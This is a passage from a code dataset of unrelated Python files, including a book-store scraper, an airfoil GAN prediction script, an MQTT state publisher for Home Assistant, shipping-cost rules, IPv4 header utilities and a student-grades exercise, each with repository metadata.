= p\n #parse as normal\n except:\n self.book_dictionary[\"parse_status\"] = \"Unsuccessful\"\n return self\n \n def parse_KB(self, parser, url):\n self.book_dictionary[\"site_slug\"] = \"KB\"\n self.book_dictionary[\"url\"] = url\n temp_parse = etree.HTMLParser(remove_pis=True)\n tree=etree.parse(io.BytesIO(self.content),temp_parse)\n root=tree.getroot()\n for key in parser:\n try:\n if (parser[key] == \"!Not_Reachable\" or key == \"site_url\"):\n pass\n #not parsable/readable content\n elif (key == \"format\"):\n parsed = root.xpath(parser[key])[0].text\n parsed = parsed[:parsed.find(\" Details\")]\n if parsed == \"eBook\":\n self.book_dictionary[key] = \"DIGITAL\"\n elif parsed == \"Audiobook\":\n self.book_dictionary[key] = \"AUDIOBOOK\"\n elif (key == \"book_title\" or key == \"subtitle\"):\n parsed = root.xpath(parser[key])\n if len(parsed) > 0:\n parsed = parsed[0].text.strip(\"\\r\\n\")\n self.book_dictionary[key] = parsed\n else:\n self.book_dictionary[key] = None\n #Book does not have a subtitle\n elif (key == \"book_image_url\"):\n parsed = root.xpath(parser[key])\n self.book_dictionary[key] = parsed[0]\n elif (key == \"book_image\"):\n resp = requests.get(\"http:\" + self.book_dictionary[\"book_image_url\"], stream=True).raw\n self.book_dictionary[key] = Image.open(resp)\n elif (key == \"isbn_13\"):\n parsed = root.xpath(parser[key])\n for element in parsed:\n if element.text == \"ISBN: \":\n isbn = element.xpath(\"./span\")\n self.book_dictionary[key] = isbn[0].text\n elif (key == \"description\"):\n parsed = root.xpath(parser[key])\n description = \"\"\n for element in parsed:\n description += element\n self.book_dictionary[key] = description\n elif (key == \"book_id\"):\n myUrl = urlparse(url)\n end = myUrl.path.rfind('/')\n self.book_dictionary[key] = myUrl.path[end+1:]\n elif (key == \"authors\"):\n parsed = root.xpath(parser[key])\n authors = []\n for author in parsed:\n authors.append(author.text)\n self.book_dictionary[key] = authors\n elif (key == \"series\"):\n parsed = root.xpath(parser[key])\n if len(parsed) > 0:\n self.book_dictionary[key] = parsed[0].text\n else:\n self.book_dictionary[key] = None\n #Book not included in series\n elif (key == \"ready_for_sale\"):\n if len(root.xpath(parser[key])) > 0:\n self.book_dictionary[key] = True\n else:\n self.book_dictionary[key] = False\n elif (key == \"extra\"):\n self.book_dictionary[key] = parser[key]\n else:\n self.book_dictionary[key] = root.xpath(parser[key])[0].text\n except:\n self.book_dictionary[\"parse_status\"] = \"UNSUCCESSFUL\"\n break\n \n if self.book_dictionary[\"parse_status\"] != \"UNSUCCESSFUL\":\n self.book_dictionary[\"parse_status\"] = \"PARSE_SUCCESSFUL\"\n\n return self\n \n def parse_id_from_url(self, url, start, end):\n id = url[start: end]\n return id\n\n def parse_TB(self,parser,url):\n parse = etree.HTMLParser(remove_pis=True)\n tree = etree.parse(io.BytesIO(self.content),parse)\n root = tree.getroot()\n try:\n self.book_dictionary[\"format\"] = \"test book\"\n\n title_element = root.xpath(parser[\"book_title\"])[0]\n self.book_dictionary[\"book_title\"] = title_element.text\n\n isbn_element = root.xpath(parser[\"isbn_13\"])\n self.book_dictionary[\"isbn_13\"] = isbn_element\n\n description_element = root.xpath(parser[\"description\"])\n self.book_dictionary[\"description\"] = description_element\n\n authors = list()\n authors.append(root.xpath(parser[\"authors\"]))\n self.book_dictionary[\"authors\"] = authors\n\n series_element = root.xpath(parser[\"series\"])\n if len(series_element) == 0:\n self.book_dictionary[\"series\"] = None \n else:\n self.book_dictionary[\"series\"] = series_element\n \n \n\n volume_element = root.xpath(parser[\"volume_number\"])\n if len(volume_element) == 0:\n self.book_dictionary[\"volume_number\"] = None\n else:\n self.book_dictionary[\"volume_number\"] = volume_element\n\n \n self.book_dictionary[\"book_id\"] = url[35: len(url)-1]\n\n self.book_dictionary[\"site_slug\"] = \"TB\"\n self.book_dictionary[\"url\"] = url\n ready_element = root.xpath(parser[\"ready_for_sale\"])\n if ('not' in str(ready_element)) :\n self.book_dictionary[\"ready_for_sale\"] = False\n else:\n self.book_dictionary[\"ready_for_sale\"] = True\n\n self.book_dictionary[\"parse_status\"] = \"Success\"\n except:\n # if failed, the site book data object will be given a parsed value of \"Failed\"\n self.book_dictionary[\"parse_status\"] = \"Failed\"\n return self\n\n def __str__(self):\n msg = \"\"\n for key in self.book_dictionary:\n if(str(key) != \"book_image\"):\n msg += key + \" : \" + str(self.book_dictionary[key]) + \"\\n\"\n return msg\n\nclass book_site():\n def __init__(self, slug):\n with open(os.path.join(folder, 'parsers.json')) as parserList:\n parsers = json.load(parserList)\n\n self.slug = slug\n self.parser = parsers[slug]\n self.site_url = self.parser[\"site_url\"]\n #pass queries to self.parser\n\n def get_book_data_from_site(self, url):\n \"\"\"Given a string URL to a book page at a site, \n parse it and return the siteBookData of the info\"\"\"\n\n content = requests.get(url).content\n\n book_data = site_book_data(content)\n if self.slug == \"GB\":\n return book_data.parse_GB(self.parser, url)\n elif(self.slug == \"SD\"):\n return book_data.parse_SD(self.parser, url)\n elif(self.slug == \"LC\"):\n return book_data.parse_LC(self.parser, url)\n elif (self.slug == \"KB\"):\n return book_data.parse_KB(self.parser, url)\n elif (self.slug == \"TB\"):\n return book_data.parse_TB(self.parser, url)\n\n def find_book_matches_at_site(self, book_data):\n \"\"\"Given a sitebookData object, search for the book \n at the 'book_site' site and provide a list of likely \n matches paired with how good of a match it is (1.0 is an \n exact match). This should take into account all the info \n we have about a book, including the cover.\"\"\"\n\n br = mechanize.Browser()\n br.set_handle_robots(False)\n br.addheaders = [('User-agent', 'Chrome')]\n if self.slug == 'TB':\n url = 'http://127.0.0.1:8000/store/'\n br.open(url)\n br.select_form(nr=1)\n control = br.form.find_control('q')\n elif self.slug == 'KB':\n br.open(self.site_url)\n br.select_form(nr=0)\n control = br.form.find_control('query')\n elif self.slug == 'GB':\n url = 'https://books.google.com'\n br.open(url)\n br.select_form(nr=0)\n control = br.form.find_control('q')\n elif self.slug == 'SD':\n url = 'https://www.scribd.com/books'\n br.open(url)\n br.select_form(nr=0)\n control = br.form.find_control('query')\n elif self.slug == 'LC':\n url = 'https://wwwe.livrariacultura.com.br/'\n br.open(url)\n br.select_form(nr=0)\n control = br.form.find_control(nr=0)\n\n\n\n query = \"\"\n if book_data.book_dictionary['isbn_13'] is not None:\n query += book_data.book_dictionary['isbn_13']\n elif book_data.book_dictionary['book_title'] is not None:\n query += book_data.book_dictionary['book_title']\n elif book_data.book_dictionary['authors'] is not None:\n query += book_data.book_dictionary['authors'][0]\n control.value = query\n response = br.submit()\n #print(response.read()) #this gives the raw html.\n #print(response.geturl()) #gives the full url of the query so it's easier to read than the raw html. good for parsing.\n #must parse the response to give the list of books\n num_books = 50\n book_list = self.parse_response(num_books, response.geturl())\n ranked_list = self.rank_books(book_list, book_data)\n #now take results and assign them a value for how likely a match they are.\n return ranked_list\n \n def parse_response(self, num_books, url):\n \"\"\"parse book results into a list of books to return.\"\"\"\n\n book_list = []\n query_finished = False\n while not query_finished:\n\n content = requests.get(url).content\n temp_parse = etree.HTMLParser(remove_pis=True)\n tree=etree.parse(io.BytesIO(content),temp_parse)\n root=tree.getroot()\n\n #use lxml queries to get the book results and then use a loop to append each book in the results to the list. use book_list.append()\n if self.slug == 'TB':\n books = root.xpath(\"//ul[@id='search_result']//a/@href\")\n for book in books:\n book_url = self.site_url + book\n book_list.append(self.get_book_data_from_site(book_url))\n\n if len(book_list) < num_books:\n if len(root.xpath(\"//span[@class='page-links']//a[text()='next']\"))==0:\n query_finished = True\n break\n else:\n current_page = root.xpath(\"//span[@class='page-current']\")[0]\n next_page = current_page.xpath(\"./following-sibling::a[1]/@href\")[0]\n next_page = next_page.replace(\" \", \"+\")\n url= self.site_url + \"/store/search/\" + next_page\n elif len(book_list) >= num_books:\n del book_list[num_books:]\n query_finished = True\n \n\n elif self.slug == 'KB':\n books = root.xpath(\"//div[@class='item-detail']/a/@href\")\n for book in books:\n book_url = self.site_url + book\n book_list.append(self.get_book_data_from_site(book_url))\n\n if len(book_list) < num_books:\n if len(root.xpath(\"//a[@class='page-link final active']\")) > 0:\n query_finished = True\n break\n #reached the end of book results found from query\n else:\n current_page = root.xpath(\"//a[@class='page-link first active' or @class='page-link reveal active' or @class='page-link active']\")[0]\n next_page = current_page.xpath(\"./following-sibling::a[1]/@href\")[0]\n url = self.site_url + next_page\n\n elif len(book_list) >= num_books:\n del book_list[num_books:]\n query_finished = True\n \n elif self.slug == 'GB':\n pass\n elif self.slug == 'SD':\n myQuery = \"//script[12]\"\n parsed = root.xpath(myQuery)\n results = parsed[0].text\n bookIds = parse_scribd_json_for_ids(results)\n bookURLS = []\n for ID in bookIds:\n bookURLS.append(self.convert_book_id_to_url(ID))\n\n testLoad = mechanize.Browser()\n testLoad.set_handle_robots(False)\n testLoad.addheaders = [('User-agent', 'Chrome')]\n for book in bookURLS:\n response = testLoad.open(book)\n url = response.geturl()\n if(url[23] == 'b' or url[23] == 'a'):\n book_list.append(self.get_book_data_from_site(book))\n if(len(book_list) == num_books):\n break\n query_finished = True\n elif self.slug == 'LC':\n pass\n return book_list\n\n def rank_books(self, book_list, book_data):\n \"\"\"takes a list of site_book_data objects found at a site and compares them with the query data object\"\"\"\n ranked_list = []\n for book in book_list:\n ranking = 0\n for key in book.book_dictionary:\n if key == 'isbn_13' and book_data.book_dictionary[key] is not None and book.book_dictionary[key] is not None:\n if book.book_dictionary is type(list):\n if(book_data.book_dictionary[key] in book.book_dictionary[key][0]):\n ranking = 1.0\n print(\"isbn found\")\n break\n else:\n if(book_data.book_dictionary[key] in book.book_dictionary[key]):\n ranking = 1.0\n print(\"isbn found\")\n break\n if key == 'book_title' and book_data.book_dictionary[key] is not None and book.book_dictionary[key] is not None:\n if book.book_dictionary is type(list):\n if(book_data.book_dictionary[key] in book.book_dictionary[key][0]):\n if ranking > 0.4: \n ranking = 0.9\n break\n else:\n ranking += 0.5\n else:\n if(book_data.book_dictionary[key] in book.book_dictionary[key][0]):\n if ranking > 0.4: \n ranking = 0.9\n break\n else:\n ranking += 0.5\n if key == 'ready_for_sale' and book_data.book_dictionary[key] is not None and book.book_dictionary[key] is not None:\n if book.book_dictionary is type(list):\n if book_data.book_dictionary[key] is book.book_dictionary[key][0]:\n ranking += 1.0\n else:\n if book_data.book_dictionary[key] is book.book_dictionary[key]:\n ranking += 0.1\n else:\n if book_data.book_dictionary[key] is not None and book.book_dictionary[key] is not None:\n if book.book_dictionary is type(list):\n if book_data.book_dictionary[key] in book.book_dictionary[key][0] and ranking <= 0.9:\n ranking += 0.1\n else:\n # try:\n if key != \"content\":\n if book_data.book_dictionary[key] in book.book_dictionary[key] and ranking <= 0.9:\n ranking += 0.1\n \n # except:\n # print(key)\n # print(book_data.book_dictionary)\n # x = input()\n\n\n \n\n\n book_set = [ranking, book]\n ranked_list.append(book_set)\n\n return ranked_list\n \n def convert_book_id_to_url(self, book_id):\n \"\"\"given a book_id, return the direct url for the book.\"\"\"\n if self.slug == \"LC\":\n url = self.site_url + book_id + \"/p\"\n elif self.slug == \"KB\":\n if requests.get(self.site_url + \"/us/en/ebook/\" + book_id).status_code == 200:\n url = self.site_url + \"/us/en/ebook/\" + book_id\n else:\n url = self.site_url + \"/us/en/audiobook/\" + book_id\n elif self.slug ==\"TB\":\n url = self.site_url + \"/store/search/\" + book_id\n elif(self.slug ==\"SD\"):\n if requests.get(self.site_url + \"book/\" + book_id).status_code == 200:\n url = self.site_url + \"book/\" + book_id + \"/\"\n else:\n url = self.site_url + \"audiobook/\" + book_id + \"/\"\n\n return url\n\ndef get_book_site(slug):\n \"\"\"Function that takes a string and returns a booksite url\"\"\"\n \n return book_site(slug)\n\n\ndef parse_scribd_json_for_ids(results):\n ids = [m.start() for m in re.finditer('\"doc_id\":', results)]\n bookIds = []\n print(len(ids))\n start = int(ids[-1]) + 9\n end = start + 9\n counter = 0\n for i in ids:\n start = int(ids[counter]) + 9\n end = start + 9\n bookIds.append(results[start:end])\n counter += 1\n return bookIds\n \n\n\n \n\n","sub_path":"checkmate_library/Checkmate.py","file_name":"Checkmate.py","file_ext":"py","file_size_in_byte":24922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"22078032","text":"import torch\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom models.cgans import AirfoilAoAGenerator\nfrom train_final_cbgan import read_configs\nfrom utils.shape_plot import plot_samples, plot_grid, plot_comparision\nfrom utils.dataloader import NoiseGenerator\n\ndef load_generator(gen_cfg, save_dir, checkpoint, device='cpu'):\n ckp = torch.load(os.path.join(save_dir, checkpoint), map_location='cuda:0')\n generator = AirfoilAoAGenerator(**gen_cfg).to(device)\n generator.load_state_dict(ckp['generator'])\n generator.eval()\n return generator\n\nif __name__ == '__main__':\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n save_dir = '../saves/final/'\n _, gen_cfg, _, cz, _ = read_configs('cbgan')\n\n epoch = 5000\n\n inp_paras = np.load('../data/inp_paras_995.npy')\n mean, std = inp_paras.mean(0), inp_paras.std(0)\n inp_paras = np.load('../data/inp_paras_347.npy') # reload inp_paras from Jun's test set.\n tr_inp_paras = (inp_paras - mean) / std\n\n\n generator = load_generator(gen_cfg, save_dir, 'cbgan{}.tar'.format(epoch-1), device=device)\n params = torch.tensor(tr_inp_paras, dtype=torch.float, device=device)\n samples = []; aoas = []\n\n noise = torch.zeros([len(params), cz[0]], device=device, dtype=torch.float)\n pred = generator(noise, params)[0]\n samples.append(pred[0].cpu().detach().numpy().transpose([0, 2, 1]))\n aoas.append(pred[1].cpu().detach().numpy())\n \n np.save('../data/pred_cbgan/single/new/aoas_pred.npy', aoas[0])\n np.save('../data/pred_cbgan/single/new/airfoils_pred.npy', samples[0])\n np.save('../data/pred_cbgan/single/new/inp_params_pred.npy', params.cpu().detach().numpy())\n\n # num_trials = 10\n # for _ in range(num_trials):\n # noise = torch.randn([len(params), cz[0]], device=device, dtype=torch.float)\n # pred = generator(noise, params)[0]\n # samples.append(pred[0].cpu().detach().numpy().transpose([0, 2, 1]))\n # aoas.append(pred[1].cpu().detach().numpy())\n\n # np.save('aoas_pred.npy', np.stack(aoas, axis=1))\n # np.save('airfoils_pred.npy', np.stack(samples, axis=1))\n # np.save('inp_params_pred.npy', params.cpu().detach().numpy())\n","sub_path":"CEBGAN/src/generate_prediction_cbgan.py","file_name":"generate_prediction_cbgan.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"190349701","text":"from huobi.constant.result import OutputKey\r\nfrom huobi.impl.utils.channelparser import ChannelParser\r\nfrom huobi.impl.utils.timeservice import convert_cst_in_millisecond_to_utc\r\nfrom huobi.model import *\r\nfrom huobi.model.pricedepthbbo import PriceDepthBbo\r\n\r\n\r\nclass PriceDepthBboEvent:\r\n \"\"\"\r\n The price depth received by subscription of price depth.\r\n\r\n :member\r\n symbol: The symbol you subscribed.\r\n timestamp: The UNIX formatted timestamp generated by server in UTC.\r\n data: The price depth.\r\n\r\n \"\"\"\r\n\r\n def __init__(self):\r\n self.symbol = \"\"\r\n self.timestamp = 0\r\n self.ch = \"\"\r\n self.data = PriceDepthBbo()\r\n\r\n @staticmethod\r\n def json_parse(json_wrapper):\r\n ch = json_wrapper.get_string(OutputKey.KeyChannelCh)\r\n parse = ChannelParser(ch)\r\n price_depth_event = PriceDepthBboEvent()\r\n price_depth_event.symbol = parse.symbol\r\n price_depth_event.timestamp = convert_cst_in_millisecond_to_utc(json_wrapper.get_int(\"ts\"))\r\n price_depth_event.ch = ch\r\n data = json_wrapper.get_object(OutputKey.KeyTick)\r\n price_depth = PriceDepthBbo.json_parse(data)\r\n price_depth_event.data = price_depth\r\n return price_depth_event\r\n","sub_path":"huobi/model/pricedepthbboevent.py","file_name":"pricedepthbboevent.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"521175169","text":"from base import items\nfrom base.util import coerce_bson_id\nfrom ecommerce.shipping.model import ShippingRule\n\n\ndef get(shipping_rule_id):\n dic = ShippingRule.collection().find_one({\n \"_id\": coerce_bson_id(shipping_rule_id),\n })\n return ShippingRule.unserialize(dic) if dic is not None else None\n\ndef get_all():\n dic_lis = ShippingRule.collection().find({\n \"status\": ShippingStatus.ENABLED\n })\n return map(lambda x: ShippingRule.unserialize(x), dic_lis)\n\n\ndef _order_weight(order_obj):\n total_weight = 0\n for i in order_obj.items:\n item_obj = items.get(i[\"obj_id\"])\n if hasattr(item_obj, \"weight\") and item_obj.weight is not None:\n try:\n total_weight += float(item_obj.weight) * float(i['quantity'])\n except ValueError:\n pass\n return total_weight\n\n\ndef get_all_valid(order_obj, ship_to=None):\n \"\"\"\n Get all shipping rules that are valid for a specific order\n \"\"\"\n all_shipping_rules = get_all()\n valid_shipping_rules = []\n total_weight = _order_weight(order_obj)\n\n for s in all_shipping_rules:\n #location requirements\n fail_requirements = False\n if s.to_location is not None and ship_to is not None and s.to_location.lower() != ship_to.lower():\n continue\n if s.from_location is not None:\n for i in order_obj.items:\n item = items.get(i[\"obj_id\"])\n if hasattr(item, \"location\") and getattr(item, \"location\") != s.from_location:\n fail_requirements = True\n break\n if fail_requirements:\n continue\n\n #weight requirements\n if float(s.min_unit_vol_weight) > total_weight:\n #continue\n pass\n if float(s.max_unit_vol_weight) < total_weight:\n continue\n\n #add it\n valid_shipping_rules += [s]\n\n return valid_shipping_rules\n\n\ndef cost(shipping_rule, order_obj):\n if order_obj is None or shipping_rule is None: return 0\n total_weight = _order_weight(order_obj)\n if total_weight == 0:\n return float(shipping_rule.flat_price)\n return float((total_weight * shipping_rule.price_per_unit_vol_weight) + shipping_rule.flat_price)\n\n\nclass ShippingStatus:\n ENABLED = \"enabled\"\n DISABLED = \"disabled\"\n\n\nclass ShippingPriceType:\n FLAT = \"flat\"\n WEIGHT_BASED = \"weight_based\"","sub_path":"ecommerce/shipping/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"146286362","text":"\"\"\"Publish simple item state changes (and json) via MQTT.\"\"\"\nimport json\n\nimport voluptuous as vol\n\nfrom homeassistant.const import (CONF_DOMAINS, CONF_ENTITIES, CONF_EXCLUDE,\n CONF_INCLUDE, MATCH_ALL)\nfrom homeassistant.core import callback\nfrom homeassistant.components.mqtt import valid_publish_topic\nfrom homeassistant.helpers.entityfilter import generate_filter\nfrom homeassistant.helpers.event import async_track_state_change\nfrom homeassistant.helpers.json import JSONEncoder\nimport homeassistant.helpers.config_validation as cv\n\nCONF_BASE_TOPIC = 'base_topic'\nCONF_RETAIN = 'retain'\nCONF_PUBLISH_ATTRIBUTES = 'publish_attributes'\nCONF_ATTRIBUTES_TOPIC = 'attributes'\nCONF_PUBLISH_TIMESTAMPS = 'publish_timestamps'\nATTRIBUTES_TOPIC = 'attributes'\n\nDOMAIN = 'mqtt_statestream'\n\nCONFIG_SCHEMA = vol.Schema({\n DOMAIN: vol.Schema({\n vol.Optional(CONF_EXCLUDE, default={}): vol.Schema({\n vol.Optional(CONF_ENTITIES, default=[]): cv.entity_ids,\n vol.Optional(CONF_DOMAINS, default=[]):\n vol.All(cv.ensure_list, [cv.string]),\n }),\n vol.Optional(CONF_INCLUDE, default={}): vol.Schema({\n vol.Optional(CONF_ENTITIES, default=[]): cv.entity_ids,\n vol.Optional(CONF_DOMAINS, default=[]):\n vol.All(cv.ensure_list, [cv.string]),\n }),\n vol.Required(CONF_BASE_TOPIC): valid_publish_topic,\n vol.Optional(CONF_RETAIN, default=True): cv.boolean,\n vol.Optional(CONF_ATTRIBUTES_TOPIC, default=ATTRIBUTES_TOPIC): valid_publish_topic,\n vol.Optional(CONF_PUBLISH_ATTRIBUTES, default=False): cv.boolean,\n vol.Optional(CONF_PUBLISH_TIMESTAMPS, default=False): cv.boolean,\n })\n}, extra=vol.ALLOW_EXTRA)\n\n\nasync def async_setup(hass, config):\n \"\"\"Set up the MQTT state feed.\"\"\"\n conf = config.get(DOMAIN, {})\n base_topic = conf.get(CONF_BASE_TOPIC)\n pub_retain = conf.get(CONF_RETAIN)\n pub_include = conf.get(CONF_INCLUDE, {})\n pub_exclude = conf.get(CONF_EXCLUDE, {})\n attributes_topic = conf.get(CONF_ATTRIBUTES_TOPIC)\n publish_attributes = conf.get(CONF_PUBLISH_ATTRIBUTES)\n publish_timestamps = conf.get(CONF_PUBLISH_TIMESTAMPS)\n publish_filter = generate_filter(pub_include.get(CONF_DOMAINS, []),\n pub_include.get(CONF_ENTITIES, []),\n pub_exclude.get(CONF_DOMAINS, []),\n pub_exclude.get(CONF_ENTITIES, []))\n if not base_topic.endswith('/'):\n base_topic = base_topic + '/'\n\n @callback\n def _state_publisher(entity_id, old_state, new_state):\n if new_state is None:\n return\n\n if not publish_filter(entity_id):\n return\n\n payload = new_state.state\n\n mybase = base_topic + entity_id.replace('.', '/') + '/'\n hass.components.mqtt.async_publish(mybase + 'state', payload, 1, pub_retain)\n\n payload = new_state.attributes.copy()\n\n if publish_timestamps:\n if new_state.last_updated:\n payload['last_updated']=new_state.last_updated.isoformat()\n if new_state.last_changed:\n payload['last_changed']=new_state.last_changed.isoformat()\n\n if publish_attributes:\n encoded_val = json.dumps(payload, cls=JSONEncoder)\n hass.components.mqtt.async_publish(mybase + attributes_topic,\n encoded_val, 1, pub_retain)\n\n async_track_state_change(hass, MATCH_ALL, _state_publisher)\n return True\n","sub_path":"custom_components/mqtt_statestream_json/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"184090107","text":"from src.domain.task import Task\nfrom src.domain.user import User\nfrom datetime import datetime\nfrom src.common.result import Status\n\n\ndef test_create_task_with_valid_values():\n now = datetime.now()\n owner = User(\n user_id=123,\n email=\"someone@gamil.com\",\n fullname=\"someone\"\n )\n create_task = Task.create(\n title=\"task one\",\n owner=owner,\n details=\"first task for the team\",\n created_at=now,\n story_points=5\n )\n assert create_task.status == Status.SUCCESS\n task = create_task.data\n\n assert task.title == \"task one\"\n assert task.owner.user_id == 123\n assert task.owner.fullname == \"someone\"\n assert task.owner.email == \"someone@gamil.com\"\n assert task.details == \"first task for the team\"\n assert task.created_at == now\n assert task.story_points == 5\n assert task.task_id == 0\n","sub_path":"test/unit/domain/test_task.py","file_name":"test_task.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"249638696","text":"#\n# [397] Integer Replacement\n#\n# https://leetcode.com/problems/integer-replacement/description/\n#\n# algorithms\n# Medium (30.59%)\n# Total Accepted: 32.2K\n# Total Submissions: 105.3K\n# Testcase Example: '8'\n#\n#\n# Given a positive integer n and you can do operations as follow:\n#\n#\n#\n#\n# If n is even, replace n with n/2.\n# If n is odd, you can replace n with either n + 1 or n - 1.\n#\n#\n#\n#\n# What is the minimum number of replacements needed for n to become 1?\n#\n#\n#\n#\n# Example 1:\n#\n# Input:\n# 8\n#\n# Output:\n# 3\n#\n# Explanation:\n# 8 -> 4 -> 2 -> 1\n#\n#\n#\n# Example 2:\n#\n# Input:\n# 7\n#\n# Output:\n# 4\n#\n# Explanation:\n# 7 -> 8 -> 4 -> 2 -> 1\n# or\n# 7 -> 6 -> 3 -> 2 -> 1\n#\n#\n#\n\n\nclass Solution:\n def integerReplacement(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n cache = dict()\n cache[1] = 0\n\n def find(n):\n if n in cache:\n return cache[n]\n\n if n % 2 == 1:\n ret = 1 + min(find(n + 1), find(n - 1))\n cache[n] = ret\n return ret\n else:\n counter = 0\n while n % 2 == 0:\n counter += 1\n n = n // 2\n return counter + find(n)\n return find(n)\n","sub_path":"src/397.integer-replacement.python3.py","file_name":"397.integer-replacement.python3.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"266970861","text":"import struct\n# Funções que foram usadas no TCP e também são úteis\n# para a implementação do protocolo IP\nfrom mytcputils import str2addr, addr2str, calc_checksum\n\nfrom random import randint\n\n\nIPPROTO_ICMP = 1\nIPPROTO_TCP = 6\n\nIHL = 5\nTTL = 255\n\n\ndef twos_comp(val, bits):\n \"\"\"compute the 2's complement of int value val\"\"\"\n if (val & (1 << (bits - 1))) != 0: # if sign bit is set e.g., 8bit: 128-255\n val = val - (1 << bits) # compute negative value\n return val\n\n\ndef make_ipv4_header(size, src_addr, dest_addr, dscp=None, ecn=None, identification=None, flags=None, frag_offset=None, ttl=255, proto=None, verify_checksum=False):\n version = 4 << 4\n ihl = IHL\n vihl = version + ihl\n\n if dscp is None:\n dscp = 0 << 6\n if ecn is None:\n ecn = 0\n\n dscpecn = dscp + ecn\n\n total_length = twos_comp(size + 20, 16)\n\n if identification is None:\n identification = twos_comp(randint(0, 2**16), 16)\n\n if flags is None:\n flag_rsv = 0\n flag_dtf = 0\n flag_mrf = 0\n flags = (flag_rsv << 15) | (flag_dtf << 14) | (flag_mrf << 13)\n\n if frag_offset is None:\n frag_offset = 0\n\n flags |= frag_offset\n\n ttl = twos_comp(ttl, 8)\n\n if proto is None:\n proto = IPPROTO_TCP\n\n checksum = 0\n src_addr = str2addr(src_addr)\n dest_addr = str2addr(dest_addr)\n header = struct.pack('!bbhhhbbh', vihl, dscpecn, total_length,\n identification, flags, ttl, proto, checksum) + src_addr + dest_addr\n\n if verify_checksum:\n checksum = twos_comp(calc_checksum(header[:4*ihl]), 16)\n header = struct.pack('!bbhhhbbh', vihl, dscpecn, total_length,\n identification, flags, ttl, proto, checksum) + src_addr + dest_addr\n\n return header\n\n\ndef read_ipv4_header(datagram, verify_checksum=False):\n # https://en.wikipedia.org/wiki/IPv4#Header\n vihl, dscpecn, total_len, identification, flagsfrag, ttl, proto, \\\n checksum, src_addr, dest_addr = \\\n struct.unpack('!BBHHHBBHII', datagram[:20])\n version = vihl >> 4\n ihl = vihl & 0xf\n assert version == 4\n dscp = dscpecn >> 2\n ecn = dscpecn & 0b11\n flags = flagsfrag >> 13\n frag_offset = flagsfrag & 0x1fff\n src_addr = addr2str(datagram[12:16])\n dst_addr = addr2str(datagram[16:20])\n if verify_checksum:\n assert calc_checksum(datagram[:4*ihl]) == 0\n payload = datagram[4*ihl:total_len]\n\n return dscp, ecn, identification, flags, frag_offset, ttl, proto, \\\n src_addr, dst_addr, payload\n","sub_path":"t5/myiputils.py","file_name":"myiputils.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"315306614","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 23 14:52:40 2021\r\n\r\n@author: Valen\r\n\"\"\"\r\n\r\nprint(\"SISTEMA DE NOTAS DE UN CURSO DE PROGRAMACIÓN\")\r\n\r\n#Entrada\r\n\r\nnumeroEst = int(input(\"Digite la cantidad de estudiantes del grupo: \"))\r\n\r\n# Declarar la variable que cotrola el ciclo\r\n\r\ncontadorRep = 0\r\ncantidadEstAprob = 0\r\ncantidadEstRepro = 0\r\nsumaDefEst = 0\r\npromedioDefEst = 0 \r\nsumaDefEstAprob = 0\r\nsumaDefEstRepro = 0\r\npromedioEstAprob = 0\r\npromedioEstReprob = 0\r\nmayor = 0\r\nmenor = 0\r\n\r\n#Proceso\r\n# Iniciar ciclo\r\n\r\nfor i in range(numeroEst):\r\n # Lectura de las notas de cada estudiante\r\n nombreEst = input(\"Digite nombre del estudiante: \")\r\n notaUnoEst = float(input(\"Digite la nota del primer parcial del estudiante: \"))\r\n notaDosEst = float(input(\"Digite la nota del segundo parcial del estudiante: \"))\r\n notaTresEst = float(input(\"Digite la nota del tercer parcial del estudiante: \"))\r\n \r\n # Calcular la definitiva de cada estudiante\r\n notaDef = (notaUnoEst+notaDosEst+notaTresEst)/3\r\n \r\n #\r\n sumaDefEst = sumaDefEst+notaDef\r\n print(\"La definitiva es: \",notaDef)\r\n \r\n if(notaDef>=3.0):\r\n cantidadEstAprob=cantidadEstAprob+1\r\n # Sumar las notas de los estudiantes que aprobaron\r\n sumaDefEstAprob=sumaDefEstAprob+notaDef\r\n else:\r\n cantidadEstRepro=cantidadEstRepro+1\r\n # Sumar las notas de los estudiantes que reprobaron\r\n sumaDefEstRepro=sumaDefEstRepro+notaDef\r\n \r\n # Incrementa la variable que controla el ciclo\r\n \r\n contadorRep = contadorRep+1\r\n \r\n # Fin ciclo\r\n# Calcular el promedio del grupo\r\npromedioDefEst = sumaDefEst/numeroEst\r\n\r\nif (cantidadEstAprob>0):\r\n promedioEstAprob = sumaDefEstAprob/cantidadEstAprob\r\nif (cantidadEstRepro>0):\r\n promedioEstReprob = sumaDefEstRepro/cantidadEstRepro\r\n \r\nprint(\"OTROS CALCULOS\")\r\nprint(\"Cantidad de estudiantes que aprobaron: \",cantidadEstAprob)\r\nprint(\"Cantidad de estudiantes que reprobaron: \",cantidadEstRepro)\r\nprint(\"Promedio del grupo: \",promedioDefEst)\r\nprint(\"Promedio de estudiantes que aprobaron\",promedioEstAprob)\r\nprint(\"Promedio de estudiantes que reprobron\",promedioEstReprob)\r\nprint(\"Nota maxima: \",mayor)\r\nprint(\"Nota minima: \",menor)","sub_path":"ciclosFOR_notas.py","file_name":"ciclosFOR_notas.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
